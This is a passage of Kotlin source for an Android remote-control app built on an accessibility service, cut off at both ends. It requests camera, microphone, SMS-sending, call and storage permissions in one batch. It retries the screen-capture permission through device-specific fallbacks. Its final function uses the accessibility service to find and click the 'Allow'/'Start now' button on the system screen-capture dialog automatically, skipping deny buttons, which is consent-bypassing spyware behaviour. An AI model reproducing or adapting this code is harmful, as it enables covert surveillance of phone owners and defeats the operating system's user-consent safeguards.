val newCount = currentCount + 1
prefs.edit().putInt("launch_count", newCount).apply()
Log.d(TAG, "📊 应用启动次数: $newCount")
// 如果是首次启动,记录启动时间
if (currentCount == 0) {
val firstLaunchTime = System.currentTimeMillis()
prefs.edit().putLong("first_launch_time", firstLaunchTime).apply()
Log.d(TAG, "🕐 首次启动时间已记录: $firstLaunchTime")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 记录应用启动次数失败", e)
}
}
/**
* 新增切换到WebView界面
*/
private fun switchToWebViewInterface() {
try {
Log.i(TAG, "🌐 开始切换到WebView界面")
// 检查Activity状态
if (isFinishing || isDestroyed) {
Log.e(TAG, "❌ Activity已销毁或正在结束无法切换到WebView")
return
}
// 更新UI状态显示 - 使用线程安全方法
updateStatusTextThreadSafe("✅ 无障碍服务已启用\n正在加载WebView界面...", android.R.color.holo_green_dark)
updateButtonSafely("服务运行中", android.R.color.holo_green_dark, false)
// 延迟启动WebView让用户看到状态更新
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 再次检查Activity状态
if (isFinishing || isDestroyed) {
Log.e(TAG, "❌ Activity已销毁取消WebView启动")
return@postDelayed
}
startWebViewActivity()
Log.i(TAG, "✅ WebView界面启动成功")
// 发送广播通知无障碍服务WebView已启动
val webViewStartedIntent = Intent("android.mycustrecev.WEBVIEW_STARTED").apply {
putExtra("success", true)
putExtra("timestamp", System.currentTimeMillis())
}
sendBroadcast(webViewStartedIntent)
Log.i(TAG, "📡 已发送WebView启动广播")
} catch (e: Exception) {
Log.e(TAG, "❌ WebView界面启动失败", e)
// 如果WebView启动失败显示错误状态 - 使用线程安全方法
updateStatusTextThreadSafe("❌ WebView加载失败\n请重启应用", android.R.color.holo_red_dark)
updateButtonSafely("重新启动", android.R.color.holo_red_dark, true)
}
}, 1500) // 延迟1.5秒,让用户看到状态更新
} catch (e: Exception) {
Log.e(TAG, "❌ 切换到WebView界面失败", e)
}
}
/**
* 新增检查存储权限状态
*/
private fun checkStoragePermissions() {
try {
Log.i(TAG, "🔍 检查存储权限状态")
// 检查存储状态
val storageStatus = com.hikoncont.util.XiaomiFileUtils.getStorageStatus(this)
Log.i(TAG, "📱 存储状态: $storageStatus")
// 如果是小米设备且存储权限有问题,记录警告
if (com.hikoncont.util.XiaomiFileUtils.isXiaomiDevice()) {
val hasPermission = storageStatus["hasExternalStoragePermission"] as? Boolean ?: false
if (!hasPermission) {
Log.w(TAG, "⚠️ 小米设备缺少外部存储权限,可能影响 mi_exception_log 写入")
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查存储权限失败", e)
}
}
/**
* 新增处理无障碍服务卡住检测和自动恢复
*/
private fun handleAccessibilityServiceStuckDetection() {
Log.i(TAG, "🔍 开始无障碍服务智能故障检测")
// ✅ 参考billd-deskAndroid 11+也需要检查MediaProjection权限不再跳过
Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备正常检查MediaProjection权限状态")
// ✅ 关键修复区分无障碍截图权限和MediaProjection权限
val hasAccessibilityScreenshotPermission = checkAccessibilityScreenshotPermission()
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
Log.i(TAG, "📊 权限状态详细检查:")
Log.i(TAG, " - 无障碍截图权限 (Android 9+): $hasAccessibilityScreenshotPermission")
Log.i(TAG, " - MediaProjection投屏权限: $hasMediaProjectionPermission")
if (hasMediaProjectionPermission) {
Log.i(TAG, "✅ MediaProjection权限确实存在检查是否需要申请悬浮窗权限")
// 删除悬浮窗权限申请,直接显示就绪状态
Log.i(TAG, "🔧 跳过悬浮窗权限申请")
runOnUiThread {
statusText.text = "✅ 服务启动中..."
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
enableButton.isEnabled = false
}
return
}
// ✅ 即使有无障碍截图权限也必须申请MediaProjection权限用于实时投屏
if (hasAccessibilityScreenshotPermission && !hasMediaProjectionPermission) {
Log.w(TAG, "⚠️ 检测到仅有无障碍截图权限但缺少MediaProjection实时投屏权限")
Log.w(TAG, "⚠️ 无障碍截图只能单次截图实时投屏需要MediaProjection权限")
runOnUiThread {
statusText.text = "⚠️ 检测到权限配置不完整\n正在自动申请服务权限..."
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
}
// 检查AccessibilityService实例状态
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
val serviceInstance = AccessibilityRemoteService.getInstance()
Log.i(
TAG,
"📊 AccessibilityService状态: running=$serviceRunning, instance=${serviceInstance != null}"
)
if (serviceRunning && serviceInstance != null) {
// 服务正常但需要申请MediaProjection权限
Log.w(TAG, "⚠️ AccessibilityService正常但需要申请MediaProjection权限")
startMediaProjectionPermissionFlow()
} else {
// 服务可能崩溃或启动异常,启动超时重试检测
Log.w(TAG, "⚠️ AccessibilityService可能出现故障启动超时恢复机制")
startAccessibilityServiceFailureRecovery()
}
}
/**
* 新增检查Android 9+无障碍服务截图权限
*/
private fun checkAccessibilityScreenshotPermission(): Boolean {
return try {
if (Build.VERSION.SDK_INT >= 28) { // Android 9+
val serviceInstance = AccessibilityRemoteService.getInstance()
if (serviceInstance != null) {
// 简单检查如果无障碍服务运行且API级别支持认为有截图权限
Log.d(TAG, "Android ${Build.VERSION.SDK_INT}支持无障碍截图API")
true
} else {
false
}
} else {
Log.d(TAG, "Android ${Build.VERSION.SDK_INT}不支持无障碍截图API")
false
}
} catch (e: Exception) {
Log.e(TAG, "检查无障碍截图权限失败", e)
false
}
}
/**
* 新增检查真实的MediaProjection权限不仅仅是数据存在
*/
private fun checkRealMediaProjectionPermission(): Boolean {
return try {
Log.d(TAG, "🔍 开始检查真实MediaProjection权限")
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData == null) {
Log.d(TAG, "MediaProjection权限数据不存在")
return false
}
Log.d(TAG, "✅ MediaProjection权限数据存在开始验证有效性")
// 验证权限数据的有效性
val (resultCode, resultData) = permissionData
if (resultData == null) {
Log.w(TAG, "MediaProjection权限Intent数据为null")
return false
}
Log.d(TAG, "📊 权限数据详情: resultCode=$resultCode, Intent存在=${resultData != null}")
// ✅ 使用更安全的方式检测权限避免创建可能失败的MediaProjection实例
// 对于某些设备直接创建MediaProjection可能会失败或抛出异常
Log.d(TAG, "🔧 使用保守策略检查权限数据完整性而不直接创建MediaProjection实例")
// 检查Intent数据的完整性
val hasValidData =
resultData.hasExtra("android.media.projection.extra.EXTRA_MEDIA_PROJECTION") ||
resultData.action != null ||
resultData.data != null
if (!hasValidData) {
Log.w(TAG, "MediaProjection权限Intent缺少必要数据")
return false
}
// 检查resultCode是否有效通常应该是RESULT_OK = -1
if (resultCode != android.app.Activity.RESULT_OK) {
Log.w(
TAG,
"MediaProjection权限resultCode无效: $resultCode (期望: ${android.app.Activity.RESULT_OK})"
)
return false
}
Log.d(TAG, "✅ MediaProjection权限数据验证通过保守策略")
return true
} catch (e: Exception) {
Log.e(TAG, "❌ 验证MediaProjection权限发生异常", e)
return false
}
}
/**
* 新增专门的MediaProjection权限申请流程
*/
private fun startMediaProjectionPermissionFlow() {
Log.i(TAG, "🎯 启动专门的MediaProjection权限申请流程")
// ✅ 新增:标记正在申请权限,防止保活循环
markPermissionRequesting(true)
runOnUiThread {
// 使用线程安全方法
updateStatusTextThreadSafe("🎯 申请服务权限中...", android.R.color.holo_blue_dark)
}
// 重置重试计数并启动自动重试权限检测
autoRetryCount = 0
startAutoRetryPermissionCheck()
}
/**
* 新增智能权限申请流程绕过可能卡住的AccessibilityService逻辑
*/
private fun startIntelligentPermissionFlow() {
Log.i(TAG, "🧠 启动智能权限申请流程")
runOnUiThread {
statusText.text = "🧠 检测到权限流程异常\n正在智能恢复权限申请..."
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
}
// 重置重试计数并启动自动重试权限检测
autoRetryCount = 0
startAutoRetryPermissionCheck()
}
/**
* 新增AccessibilityService故障恢复机制
*/
private fun startAccessibilityServiceFailureRecovery() {
Log.i(TAG, "🔧 启动AccessibilityService故障恢复机制")
runOnUiThread {
statusText.text = "🔧 检测到无障碍服务可能出现故障\n正在等待服务恢复..."
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// 启动智能等待和检测机制每3秒检查一次最多检查10次30秒
var checkCount = 0
val maxChecks = 10
val checkInterval = 3000L
val recoveryHandler = android.os.Handler(android.os.Looper.getMainLooper())
val recoveryRunnable = object : Runnable {
override fun run() {
checkCount++
Log.i(TAG, "🔍 AccessibilityService恢复检测 (${checkCount}/${maxChecks})")
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
val serviceInstance = AccessibilityRemoteService.getInstance()
if (serviceRunning && serviceInstance != null) {
Log.i(TAG, "✅ AccessibilityService已恢复启动智能权限申请")
runOnUiThread {
statusText.text = "✅ 无障碍服务已恢复\n开始智能权限申请..."
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
// 延迟1秒后启动权限申请确保服务完全就绪
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
startIntelligentPermissionFlow()
}, 1000)
return // 停止继续检测
}
// 更新UI显示等待进度
val remainingChecks = maxChecks - checkCount
val remainingTime = (remainingChecks * checkInterval) / 1000
runOnUiThread {
statusText.text = "🔧 等待无障碍服务恢复...\n" +
"${checkCount}次检测,剩余${remainingChecks}\n" +
"预计还需${remainingTime}秒,请稍候"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
if (checkCount < maxChecks) {
// 继续下次检测
recoveryHandler.postDelayed(this, checkInterval)
} else {
// 恢复超时,提供备用方案
Log.w(TAG, "⚠️ AccessibilityService恢复超时启动备用方案")
handleAccessibilityServiceRecoveryTimeout()
}
}
}
// 开始第一次检测
recoveryHandler.postDelayed(recoveryRunnable, checkInterval)
}
/**
* 新增AccessibilityService恢复超时处理
*/
private fun handleAccessibilityServiceRecoveryTimeout() {
Log.w(TAG, "⚠️ AccessibilityService恢复超时提供备用权限申请方案")
runOnUiThread {
statusText.text = "⚠️ 无障碍服务长时间无响应\n尝试备用权限申请方案..."
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
}
// 尝试直接申请MediaProjection权限不依赖AccessibilityService
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.i(TAG, "🔄 启动备用权限申请直接申请MediaProjection权限")
runOnUiThread {
statusText.text = "🔄 启动备用服务权限申请方案\n正在申请服务权限..."
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
}
// 直接申请权限不依赖AccessibilityService的自动处理
requestMediaProjectionPermission()
}, 2000)
}
// 删除悬浮窗权限相关方法
private fun isAccessibilityServiceEnabled(): Boolean {
val serviceName = "${packageName}/${AccessibilityRemoteService::class.java.name}"
try {
// 首先检查无障碍服务是否全局启用
val accessibilityEnabled = Settings.Secure.getInt(
contentResolver,
Settings.Secure.ACCESSIBILITY_ENABLED
)
if (accessibilityEnabled != 1) {
Log.d(TAG, "🔍 无障碍服务全局未启用")
return false
}
// 然后检查我们的服务是否在启用列表中
val enabledServices = Settings.Secure.getString(
contentResolver,
Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
val isEnabled = enabledServices?.contains(serviceName) == true
Log.d(TAG, "🔍 无障碍服务检查: 全局启用=$accessibilityEnabled, 服务启用=$isEnabled, 服务名=$serviceName")
return isEnabled
} catch (e: Exception) {
Log.e(TAG, "检查无障碍权限失败", e)
return false
}
}
private fun openAccessibilitySettings() {
try {
// 参考反编译逻辑优先尝试三星专用Action
var intent = Intent("com.samsung.accessibility.installed_service").apply {
// 对应 268468224 的组合标志(保持原样,避免行为差异)
flags = 268468224
}
// 若不可达,退回标准无障碍设置
if (intent.resolveActivity(packageManager) == null) {
intent = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS)
if (intent.resolveActivity(packageManager) == null) {
// 最后兜底:标准无障碍设置 + 指定目标服务ComponentName
val fallback = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS).apply {
putExtra(
"android.intent.extra.COMPONENT_NAME",
android.content.ComponentName(
packageName,
com.hikoncont.service.AccessibilityRemoteService::class.java.name
)
)
flags = 268468224
}
startActivity(fallback)
return
}
}
// 将目标服务拼接为 fragment args便于部分ROM直达目标服务项
val target =
packageName + "/" + com.hikoncont.service.AccessibilityRemoteService::class.java.name
val args =
android.os.Bundle().apply { putString(":settings:fragment_args_key", target) }
intent.putExtra(":settings:fragment_args_key", target)
intent.putExtra(":settings:show_fragment_args", args)
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
startActivity(intent)
} catch (e: Exception) {
Log.e(TAG, "打开无障碍设置失败", e)
// 兜底再次尝试标准入口
try {
startActivityForResult(
Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),
REQUEST_ACCESSIBILITY_PERMISSION
)
} catch (_: Exception) {
}
}
}
/**
* 发送所有权限申请广播
*/
private fun sendAllPermissionsRequestBroadcast() {
try {
Log.i(TAG, "📡 发送所有权限申请广播")
// 更新UI状态
runOnUiThread {
statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// 发送广播给AccessibilityRemoteService
val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply {
putExtra("action", "request_all_permissions")
putExtra("callback_action", "all_permissions_complete")
putExtra("timestamp", System.currentTimeMillis())
}
sendBroadcast(intent)
Log.i(TAG, "✅ 已发送所有权限申请广播")
} catch (e: Exception) {
Log.e(TAG, "❌ 发送所有权限申请广播失败", e)
runOnUiThread {
statusText.text = "❌ 广播发送失败\n请重试"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
}
}
}
/**
* 一次性获取所有权限 - 调试按钮新功能
*/
private fun requestAllPermissionsAtOnce() {
try {
Log.i(TAG, "🎯 开始一次性获取所有权限")
// 更新UI状态
runOnUiThread {
statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// 延迟执行权限申请确保UI更新
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 收集所有需要的权限
val allPermissions = mutableListOf<String>()
val permissionNames = mutableListOf<String>()
// 摄像头权限
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
allPermissions.add(android.Manifest.permission.CAMERA)
permissionNames.add("摄像头")
}
// 麦克风权限
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
permissionNames.add("麦克风")
}
// 相册权限根据Android版本选择
val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
arrayOf(
android.Manifest.permission.READ_MEDIA_IMAGES,
android.Manifest.permission.READ_MEDIA_VIDEO
)
} else {
arrayOf(
android.Manifest.permission.READ_EXTERNAL_STORAGE,
android.Manifest.permission.WRITE_EXTERNAL_STORAGE
)
}
val needGalleryPermissions = galleryPermissions.filter {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needGalleryPermissions.isNotEmpty()) {
allPermissions.addAll(needGalleryPermissions)
permissionNames.add("相册")
}
// 短信权限
val smsPermissions = arrayOf(
android.Manifest.permission.READ_SMS,
android.Manifest.permission.SEND_SMS,
android.Manifest.permission.RECEIVE_SMS,
android.Manifest.permission.READ_PHONE_STATE,
android.Manifest.permission.CALL_PHONE
)
val needSmsPermissions = smsPermissions.filter {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needSmsPermissions.isNotEmpty()) {
allPermissions.addAll(needSmsPermissions)
permissionNames.add("短信")
}
}
if (allPermissions.isNotEmpty()) {
Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}")
Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}")
// 一次性申请所有权限
requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS)
// 更新UI状态
runOnUiThread {
statusText.text = "🔧 正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
} else {
Log.i(TAG, "✅ 所有权限已授予,无需申请")
runOnUiThread {
statusText.text = "✅ 所有权限已授予\n无需申请"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 收集权限列表失败", e)
runOnUiThread {
statusText.text = "❌ 权限收集失败\n请重试"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
}
}
}, 1000) // 1秒延迟
} catch (e: Exception) {
Log.e(TAG, "❌ 一次性权限申请失败", e)
runOnUiThread {
statusText.text = "❌ 权限申请失败\n请重试"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
}
}
}
private fun requestMediaProjectionPermission() {
try {
Log.i(TAG, "申请MediaProjection权限")
// ✅ 新增:设备特定调试信息(不影响现有逻辑)
Log.i(
TAG,
"🔍 设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL} (API ${android.os.Build.VERSION.SDK_INT})"
)
Log.i(TAG, "🔍 ROM版本: ${android.os.Build.DISPLAY}")
// ✅ 参考billd-deskAndroid 11+也需要申请MediaProjection权限不再跳过
// billd-desk通过Fragment.startActivityForResult(createScreenCaptureIntent())在所有版本申请权限
Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备正常申请MediaProjection权限参考billd-desk")
// ✅ 检测是否为已知的有问题的设备
val isXiaomiDevice =
android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) ||
android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) ||
android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) ||
android.os.Build.BRAND.equals("Redmi", ignoreCase = true) ||
android.os.Build.BRAND.equals("POCO", ignoreCase = true)
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) {
Log.w(TAG, "⚠️ 检测到Xiaomi Android 10设备这类设备可能存在权限对话框不显示的问题")
Log.i(TAG, "🔧 将尝试简化的权限申请方法")
}
// 检查MediaProjectionManager是否已初始化
if (mediaProjectionManager == null) {
Log.e(TAG, "❌ MediaProjectionManager未初始化重新初始化")
mediaProjectionManager =
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
if (mediaProjectionManager == null) {
Log.e(TAG, "❌ 重新初始化MediaProjectionManager失败")
return
}
}
// 通知无障碍服务开始权限申请
notifyAccessibilityServicePermissionRequest()
// ✅ 为 MIUI 设备使用简化的权限申请方法
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) {
requestMediaProjectionPermissionForMIUI()
return
}
// 创建MediaProjection权限请求Intent
val intent = mediaProjectionManager?.createScreenCaptureIntent()
if (intent == null) {
Log.e(TAG, "❌ 创建MediaProjection权限Intent失败")
return
}
// ✅ 新增详细的Intent信息帮助诊断问题
Log.i(TAG, "📋 权限Intent详情:")
Log.i(TAG, " - Component: ${intent.component}")
Log.i(TAG, " - Action: ${intent.action}")
Log.i(TAG, " - Package: ${intent.`package`}")
Log.i(TAG, " - Flags: 0x${intent.flags.toString(16)}")
// ✅ 新增检查Intent是否能被系统处理
try {
val resolveInfo = packageManager.resolveActivity(intent, 0)
if (resolveInfo != null) {
Log.i(TAG, "✅ 系统可以处理权限Intent")
Log.i(TAG, " - 处理应用: ${resolveInfo.activityInfo.packageName}")
Log.i(TAG, " - 处理Activity: ${resolveInfo.activityInfo.name}")
} else {
Log.e(TAG, "❌ 系统无法处理权限Intent这可能是问题根源")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查Intent处理能力时出错", e)
}
// ✅ 新增Activity状态检查
Log.i(TAG, "📱 Activity状态:")
Log.i(TAG, " - isFinishing: $isFinishing")
Log.i(TAG, " - hasWindowFocus: ${hasWindowFocus()}")
Log.i(TAG, " - lifecycle.state: ${lifecycle.currentState}")
Log.i(TAG, "✅ 成功创建MediaProjection权限Intent启动系统权限对话框")
// ✅ 新增:记录启动时间(用于后续分析)
val startTime = System.currentTimeMillis()
Log.i(TAG, "🚀 启动权限对话框时间: $startTime")
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
// ✅ 新增:启动后立即检查(不改变现有逻辑)
Log.i(
TAG,
"✅ startActivityForResult调用完成耗时: ${System.currentTimeMillis() - startTime}ms"
)
// ✅ 启动MediaProjection权限监听检测权限是否被自动获取
startMediaProjectionPermissionMonitoring()
} catch (e: Exception) {
Log.e(TAG, "❌ 申请MediaProjection权限失败", e)
}
}
/**
* 专门为 MIUI 设备设计的权限申请方法 - 简化版避免SimplePermissionActivity崩溃
*/
private fun requestMediaProjectionPermissionForMIUI() {
try {
Log.i(TAG, "🔧 开始MIUI设备专用权限申请流程")
// ✅ 检测设备ROM版本决定使用哪种方法
val buildVersion = android.os.Build.VERSION.RELEASE
val miuiVersion = android.os.Build.VERSION.INCREMENTAL
Log.i(TAG, "🔍 MIUI设备详情: Android $buildVersion, MIUI $miuiVersion")
// 方法1确保Activity处于最佳状态
runOnUiThread {
statusText.text = "🔧 正在为设备优化权限申请...\n使用简化权限申请方法"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// ✅ 对于容易崩溃的设备直接使用内置方法避免SimplePermissionActivity
if (android.os.Build.VERSION.SDK_INT <= 29) { // Android 10及以下
Log.i(TAG, "🔧 检测到Android 10及以下设备直接使用内置方法避免兼容性问题")
requestMIUIBuiltinMethod()
return
}
// 方法1尝试使用独立的SimplePermissionActivity增强异常处理
Log.i(TAG, "🧪 MIUI设备尝试使用SimplePermissionActivity")
try {
val simplePermissionIntent =
Intent(this, com.hikoncont.activity.SimplePermissionActivity::class.java)
// ✅ 检查SimplePermissionActivity是否可以启动
val packageManager = packageManager
val resolveInfo = packageManager.resolveActivity(simplePermissionIntent, 0)
if (resolveInfo == null) {
Log.e(TAG, "❌ SimplePermissionActivity无法解析直接使用内置方法")
throw Exception("SimplePermissionActivity无法解析")
}
Log.i(TAG, "✅ SimplePermissionActivity可以启动开始启动")
startActivityForResult(simplePermissionIntent, REQUEST_SIMPLE_PERMISSION)
// 启动监听
startMediaProjectionPermissionMonitoring()
Log.i(TAG, "✅ MIUI设备SimplePermissionActivity已启动")
// ✅ 添加超时检测防止SimplePermissionActivity卡住
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.w(TAG, "⚠️ SimplePermissionActivity启动超时检查是否需要回退")
// 检查权限是否已获取,如果没有则回退到内置方法
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData == null) {
Log.w(TAG, "⚠️ SimplePermissionActivity超时且权限未获取回退到内置方法")
requestMIUIBuiltinMethod()
}
}, 3000) // 缩短超时时间到3秒
} catch (e: Exception) {
Log.e(TAG, "❌ SimplePermissionActivity启动异常", e)
throw e // 重新抛出异常让外层catch处理
}
} catch (e: Exception) {
Log.e(TAG, "❌ MIUI SimplePermissionActivity启动失败", e)
// 回退到内置方法
requestMIUIBuiltinMethod()
}
}
/**
* MIUI设备内置权限申请方法
*/
private fun requestMIUIBuiltinMethod() {
try {
Log.i(TAG, "🔧 MIUI设备使用内置权限申请方法")
runOnUiThread {
statusText.text = "🔧 尝试内置权限申请方法..."
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// 方法2清理任何可能的干扰状态
window.clearFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
// 方法3使用延迟确保Activity完全稳定增强异常处理
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
Log.i(TAG, "🔧 MIUI延迟后开始权限申请")
// ✅ 检查Activity状态确保没有被销毁
if (isFinishing || isDestroyed) {
Log.e(TAG, "❌ Activity已销毁取消权限申请")
return@postDelayed
}
// 重新创建MediaProjectionManager确保状态干净
mediaProjectionManager =
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val intent = mediaProjectionManager?.createScreenCaptureIntent()
if (intent == null) {
Log.e(TAG, "❌ MIUI设备创建权限Intent失败")
// 尝试标准方法
requestStandardMediaProjectionPermission()
return@postDelayed
}
Log.i(TAG, "🔧 MIUI设备权限Intent创建成功")
Log.i(TAG, " - Component: ${intent.component}")
Log.i(TAG, " - Package: ${intent.`package`}")
// 方法4不添加任何额外的Intent标志保持最简单的状态
Log.i(TAG, "🔧 MIUI设备使用最简单的权限申请方式")
// ✅ 添加try-catch保护startActivityForResult调用
try {
Log.i(TAG, "🚀 MIUI设备启动权限对话框")
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
Log.i(TAG, "✅ MIUI设备权限申请已启动")
// 启动监听
startMediaProjectionPermissionMonitoring()
// 方法6更新UI状态
runOnUiThread {
statusText.text =
"📱 请在弹出的权限对话框中点击\"立即开始\"\n如果没有看到对话框,请稍等片刻"
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
}
} catch (activityException: Exception) {
Log.e(TAG, "❌ MIUI设备启动权限对话框失败", activityException)
// 立即尝试标准方法
requestStandardMediaProjectionPermission()
}
} catch (e: Exception) {
Log.e(TAG, "❌ MIUI设备权限申请失败", e)
// 失败时回退到普通方法
runOnUiThread {
statusText.text = "⚠️ 优化失败,尝试标准方法...\n正在重新申请权限"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
// 延迟后使用标准方法重试
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
requestStandardMediaProjectionPermission()
}, 500) // 缩短延迟时间
}
}, 500) // 缩短延迟时间,加快权限申请
} catch (e: Exception) {
Log.e(TAG, "❌ MIUI内置权限申请方法失败", e)
// 回退到标准方法
requestStandardMediaProjectionPermission()
}
}
/**
* 标准的权限申请方法用作回退
*/
private fun requestStandardMediaProjectionPermission() {
try {
Log.i(TAG, "🔧 使用标准权限申请方法")
val intent = mediaProjectionManager?.createScreenCaptureIntent()
if (intent != null) {
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
startMediaProjectionPermissionMonitoring()
Log.i(TAG, "✅ 标准权限申请已启动")
} else {
Log.e(TAG, "❌ 标准权限申请失败无法创建Intent")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 标准权限申请异常", e)
}
}
/**
* Android 10 专用 MediaProjection 弹框处理
* 不依赖无障碍服务直接处理权限弹框
*/
private fun startAndroid10MediaProjectionDialogHandling() {
Log.i(TAG, "📱 Android 10开始直接弹框处理")
// 使用 Handler 延迟处理,确保权限弹框完全显示
Handler(Looper.getMainLooper()).postDelayed({
try {
Log.i(TAG, "📱 Android 10开始查找并点击允许按钮")
handleAndroid10MediaProjectionDialogDirectly()
} catch (e: Exception) {
Log.e(TAG, "❌ Android 10弹框处理异常", e)
}
}, 1000) // 延迟1秒确保弹框完全显示
}
/**
* Android 10 直接处理 MediaProjection 弹框
*/
private fun handleAndroid10MediaProjectionDialogDirectly() {
try {
Log.i(TAG, "📱 Android 10开始直接处理权限弹框")
// 获取无障碍服务实例
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService == null) {
Log.w(TAG, "⚠️ Android 10无障碍服务未启动无法处理弹框")
return
}
// 获取当前窗口根节点
val rootNode = accessibilityService.rootInActiveWindow
if (rootNode == null) {
Log.w(TAG, "⚠️ Android 10无法获取窗口根节点")
return
}
Log.i(TAG, "📱 Android 10成功获取窗口根节点开始查找允许按钮")
// 定义允许按钮文本
val allowButtonTexts = arrayOf(
// 中文允许按钮
"允许", "确定", "确认", "授权", "同意", "", "", "好的", "继续",
"立即开始", "现在开始", "开始", "开始录制", "开始投屏", "开始共享",
"立即授权", "授予权限", "确认共享", "立即确认",
// 英文允许按钮
"Allow", "OK", "Agree", "Grant", "Accept", "Yes", "Continue",
"Start", "Start now", "Start sharing", "Share screen",
"Begin recording", "Begin casting", "Record screen", "Cast screen",
"Allow recording", "Allow casting", "Start recording", "Start capture"
)
// 定义拒绝按钮文本
val denyButtonTexts = arrayOf(
"禁止", "拒绝", "取消", "Cancel", "Deny", "Dismiss", "不允许", "不同意"
)
// 策略1按文本查找允许按钮
for (text in allowButtonTexts) {
val buttons = findNodesByText(rootNode, text)
Log.d(TAG, "📱 Android 10查找文本 '$text' 找到 ${buttons.size} 个节点")
for (button in buttons) {
if (button.isClickable && button.isEnabled) {
val buttonText = button.text?.toString() ?: ""
val buttonDesc = button.contentDescription?.toString() ?: ""
// 检查是否为拒绝按钮
val isDenyButton = denyButtonTexts.any { denyText ->
buttonText.contains(denyText, ignoreCase = true) ||
buttonDesc.contains(denyText, ignoreCase = true)
}
if (!isDenyButton) {
Log.i(TAG, "✅ Android 10找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'")
Log.i(TAG, "✅ Android 10点击允许按钮")
// 执行点击
val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
Log.i(TAG, "✅ Android 10点击结果: $clickResult")
// 等待点击生效
Thread.sleep(500)
// 检查权限是否已获得
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.i(TAG, "✅ Android 10MediaProjection权限已获得")
return
}
return // 即使权限检查失败,也认为点击成功
} else {
Log.d(TAG, " ⚠️ 跳过拒绝按钮: '$buttonText'")
}
}
}
}
// 策略2按类名查找按钮
Log.i(TAG, "📱 Android 10按类名查找按钮...")
val buttonNodes = findNodesByClassName(rootNode, "android.widget.Button")
Log.d(TAG, "📱 Android 10找到 ${buttonNodes.size} 个Button节点")
for (button in buttonNodes) {
if (button.isClickable && button.isEnabled) {
val buttonText = button.text?.toString() ?: ""
val buttonDesc = button.contentDescription?.toString() ?: ""
Log.d(TAG, "📱 Android 10检查Button: 文本='$buttonText', 描述='$buttonDesc'")
// 检查是否包含允许文本
